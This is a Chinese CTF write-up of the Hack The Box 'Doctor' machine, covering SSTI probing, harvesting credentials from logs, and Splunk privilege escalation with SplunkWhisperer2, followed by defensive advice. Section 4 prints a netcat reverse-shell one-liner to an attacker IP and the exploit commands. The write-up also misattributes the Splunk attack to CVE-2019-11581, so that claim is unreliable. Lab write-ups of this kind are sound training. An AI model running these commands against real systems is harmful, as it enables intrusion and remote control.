[Meachines] [Easy] Doctor Python-SSTI+Splunk权限提升
字数 1193 2025-08-19 12:40:31

Doctor靶机渗透测试报告:SSTI与Splunk权限提升

1. 信息收集阶段

1.1 端口扫描

使用Nmap进行扫描发现以下开放端口:

  • 22/tcp:OpenSSH 8.2p1 (Ubuntu Linux)
  • 80/tcp:Apache httpd 2.4.41 (Ubuntu)
  • 8089/tcp:Splunkd httpd (SSL证书显示为SplunkServerDefaultCert)

1.2 Web服务枚举

  • 添加hosts记录:echo '10.10.10.209 doctors.htb'>>/etc/hosts
  • 使用whatweb识别网站技术:whatweb http://doctors.htb/login -v
  • 发现以下关键端点:
    • /login
    • /register
    • /post/new
    • /archive

2. SSTI漏洞利用

2.1 漏洞发现

/archive端点测试模板注入:

  • 输入${7*7}无反应
  • 输入{{8*8}}返回64,确认存在服务器端模板注入(SSTI)漏洞
  • 输入{{9*'9'}}返回81,进一步确认

2.2 利用方法

  1. 通过SSTI漏洞可以执行任意Python代码
  2. 构造恶意payload获取反向shell或读取敏感文件

3. 用户权限获取

3.1 密码发现

在系统日志中搜索密码:

grep -R -e 'password' /var/log/ 2>/dev/null

发现凭据:

  • 用户名:shaun
  • 密码:Guitar123

3.2 用户登录

使用发现的凭据切换用户:

su shaun

成功获取用户权限,找到user flag:

89d2e206dac3a780e4859ba394f419b5

4. 权限提升:Splunk漏洞利用

4.1 Splunk服务发现

检查运行的Splunk服务:

ps -aux | grep splunk

4.2 利用SplunkWhisperer2工具

  1. 克隆利用工具:
git clone https://github.com/cnotin/SplunkWhisperer2
cd SplunkWhisperer2/PySplunkWhisperer2
  1. 测试漏洞:
python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.2 --payload id
  1. 使用已获取的凭据执行命令:
python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.16.6 --username shaun --password Guitar123 --payload id
  1. 获取反向shell:
python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.16.6 --username shaun --password Guitar123 --payload 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.6 10033 >/tmp/f'

4.3 获取root权限

成功获取root shell后,找到root flag:

2f93ef26f3fd15a56c09311850459979

5. 关键知识点总结

  1. SSTI漏洞检测

    • 使用{{7*7}}等表达式测试模板注入
    • 确认漏洞后构造恶意payload执行系统命令
  2. 日志文件检查

    • /var/log/目录常包含敏感信息
    • 使用grep搜索密码等关键词
  3. Splunk权限提升

    • Splunk默认运行在8089端口
    • SplunkWhisperer2工具可滥用Splunk的脚本功能执行系统命令
    • 需要有效凭据才能利用(CVE-2019-11581)
  4. 反向shell构造

    • 使用mkfifo创建命名管道
    • 结合netcat建立反向连接

6. 防御建议

  1. 针对SSTI

    • 对用户输入进行严格过滤
    • 使用安全的模板引擎配置
  2. 针对Splunk

    • 及时更新Splunk到最新版本
    • 限制Splunk服务的网络访问
    • 实施严格的权限控制
  3. 通用安全措施

    • 避免在日志中记录敏感信息
    • 实施最小权限原则
    • 定期进行安全审计和渗透测试
Doctor靶机渗透测试报告:SSTI与Splunk权限提升 1. 信息收集阶段 1.1 端口扫描 使用Nmap进行扫描发现以下开放端口: 22/tcp :OpenSSH 8.2p1 (Ubuntu Linux) 80/tcp :Apache httpd 2.4.41 (Ubuntu) 8089/tcp :Splunkd httpd (SSL证书显示为SplunkServerDefaultCert) 1.2 Web服务枚举 添加hosts记录: echo '10.10.10.209 doctors.htb'>>/etc/hosts 使用whatweb识别网站技术: whatweb http://doctors.htb/login -v 发现以下关键端点: /login /register /post/new /archive 2. SSTI漏洞利用 2.1 漏洞发现 在 /archive 端点测试模板注入: 输入 ${7*7} 无反应 输入 {{8*8}} 返回64,确认存在服务器端模板注入(SSTI)漏洞 输入 {{9*'9'}} 返回81,进一步确认 2.2 利用方法 通过SSTI漏洞可以执行任意Python代码 构造恶意payload获取反向shell或读取敏感文件 3. 用户权限获取 3.1 密码发现 在系统日志中搜索密码: 发现凭据: 用户名:shaun 密码:Guitar123 3.2 用户登录 使用发现的凭据切换用户: 成功获取用户权限,找到user flag: 4. 权限提升:Splunk漏洞利用 4.1 Splunk服务发现 检查运行的Splunk服务: 4.2 利用SplunkWhisperer2工具 克隆利用工具: 测试漏洞: 使用已获取的凭据执行命令: 获取反向shell: 4.3 获取root权限 成功获取root shell后,找到root flag: 5. 关键知识点总结 SSTI漏洞检测 : 使用 {{7*7}} 等表达式测试模板注入 确认漏洞后构造恶意payload执行系统命令 日志文件检查 : /var/log/ 目录常包含敏感信息 使用grep搜索密码等关键词 Splunk权限提升 : Splunk默认运行在8089端口 SplunkWhisperer2工具可滥用Splunk的脚本功能执行系统命令 需要有效凭据才能利用(CVE-2019-11581) 反向shell构造 : 使用mkfifo创建命名管道 结合netcat建立反向连接 6. 防御建议 针对SSTI : 对用户输入进行严格过滤 使用安全的模板引擎配置 针对Splunk : 及时更新Splunk到最新版本 限制Splunk服务的网络访问 实施严格的权限控制 通用安全措施 : 避免在日志中记录敏感信息 实施最小权限原则 定期进行安全审计和渗透测试